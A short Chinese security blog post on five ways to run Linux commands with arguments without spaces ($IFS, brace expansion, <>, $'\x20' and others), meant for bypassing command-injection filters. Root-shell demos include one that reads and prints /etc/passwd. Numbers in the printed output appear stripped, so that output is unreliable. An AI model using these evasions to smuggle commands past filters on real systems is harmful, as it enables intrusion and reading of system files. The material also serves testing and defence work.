linux下不用空格执行带参数的5种姿势

在搞安全的时候经常会遇到代码/命令执行，不能用空格的情况，总结了几种的绕过方法。

1.!!

 [root@iZ28wg1kditZ tmp]# pwd
 /tmp
 [root@iZ28wg1kditZ tmp]# !!
 pwd
 /tmp
 [root@iZ28wg1kditZ tmp]# 

2.$IFS

 [root@iZ28wg1kditZ tmp]# ls$IFS-al
 total
 drwxrwxrwt.   root root      Nov  : .
 dr-xr-xr-x.  root root      Nov  : ..
 srwxrwxrwx    root root         Oct  : Aegis-<Guid(5A2C30A2-A87D-490A--6765EDAD7CBA)>
 -rw-r--r--    root root       Nov  : cron.rule
 drwxrwxrwx      test2     Nov   : disktables
 -rw-rw-r--      filetest     Nov   : file
 drwxrwxrwt    root root      May    .ICE-unix
 drwxr-xr-x    root root      Nov  : install_agent
 srwxrwxrwx    root root         Sep  : mongodb-.sock
 srwxrwxrwx    root root         Oct  : qtsingleapp-aegisG-46d2
 srwxr-x---    root root         May    qtsingleapp-aegisG-46d2-
 srwxrwxrwx    root root         May    qtsingleapp-aegiss-a5d2
 srwxrwxrwx    root root         May    qtsingleapp-aegiss-a5d2-
 drwxrw-r--    root root      Nov  : rd4Xy6JfY9
 drwxr-xr-x    root root      Nov  : test
 -rw-r--r--    root root       Nov  : tt_install_shell.log
 drwxrw-r--    root root      Nov  : XUgJsg1WK6
 [root@iZ28wg1kditZ tmp]# 

3.{}

 [root@iZ28wg1kditZ tmp]# {ls,-al}
 total
 drwxrwxrwt.   root root      Nov  : .
 dr-xr-xr-x.  root root      Nov  : ..
 srwxrwxrwx    root root         Oct  : Aegis-<Guid(5A2C30A2-A87D-490A--6765EDAD7CBA)>
 -rw-r--r--    root root       Nov  : cron.rule
 drwxrwxrwx      test2     Nov   : disktables
 -rw-rw-r--      filetest     Nov   : file
 drwxrwxrwt    root root      May    .ICE-unix
 drwxr-xr-x    root root      Nov  : install_agent
 srwxrwxrwx    root root         Sep  : mongodb-.sock
 srwxrwxrwx    root root         Oct  : qtsingleapp-aegisG-46d2
 srwxr-x---    root root         May    qtsingleapp-aegisG-46d2-
 srwxrwxrwx    root root         May    qtsingleapp-aegiss-a5d2
 srwxrwxrwx    root root         May    qtsingleapp-aegiss-a5d2-
 drwxrw-r--    root root      Nov  : rd4Xy6JfY9
 drwxr-xr-x    root root      Nov  : test
 -rw-r--r--    root root       Nov  : tt_install_shell.log
 drwxrw-r--    root root      Nov  : XUgJsg1WK6
 [root@iZ28wg1kditZ tmp]# 

4.<>

 [root@iZ28wg1kditZ tmp]# vim test
 [root@iZ28wg1kditZ tmp]# ls
 Aegis-<Guid(5A2C30A2-A87D-490A--6765EDAD7CBA)>  disktables     mongodb-.sock       qtsingleapp-aegisG-46d2-  qtsingleapp-aegiss-a5d2-  test                  XUgJsg1WK6
 cron.rule                                           install_agent  qtsingleapp-aegisG-46d2  qtsingleapp-aegiss-a5d2    rd4Xy6JfY9                 tt_install_shell.log
 [root@iZ28wg1kditZ tmp]# cat<>test
 hello
 [root@iZ28wg1kditZ tmp]# cat test
 hello
 [root@iZ28wg1kditZ tmp]# 

5.\x20

 [root@iZ28wg1kditZ ~]# CMD=$'\x20/etc/passwd'&&cat$CMD
 root:x:::root:/root:/bin/bash
 bin:x:::bin:/bin:/sbin/nologin
 daemon:x:::daemon:/sbin:/sbin/nologin
 adm:x:::adm:/var/adm:/sbin/nologin
 lp:x:::lp:/var/spool/lpd:/sbin/nologin
 sync:x:::sync:/sbin:/bin/sync
 shutdown:x:::shutdown:/sbin:/sbin/shutdown
 halt:x:::halt:/sbin:/sbin/halt
 mail:x:::mail:/var/spool/mail:/sbin/nologin
 uucp:x:::uucp:/var/spool/uucp:/sbin/nologin
 operator:x:::operator:/root:/sbin/nologin
 games:x:::games:/usr/games:/sbin/nologin
 gopher:x:::gopher:/var/gopher:/sbin/nologin
 ftp:x:::FTP User:/var/ftp:/sbin/nologin
 nobody:x:::Nobody:/:/sbin/nologin
 dbus:x:::System message bus:/:/sbin/nologin
 vcsa:x:::virtual console memory owner:/dev:/sbin/nologin
 abrt:x::::/etc/abrt:/sbin/nologin
 haldaemon:x:::HAL daemon:/:/sbin/nologin
 ntp:x::::/etc/ntp:/sbin/nologin
 saslauth:x:::"Saslauthd user":/var/empty/saslauth:/sbin/nologin
 postfix:x::::/var/spool/postfix:/sbin/nologin
 sshd:x:::Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 tcpdump:x::::/:/sbin/nologin
 nscd:x:::NSCD Daemon:/:/sbin/nologin
 apache:x:::Apache:/var/www:/sbin/nologin
 mysql:x:::MySQL Server:/var/lib/mysql:/bin/false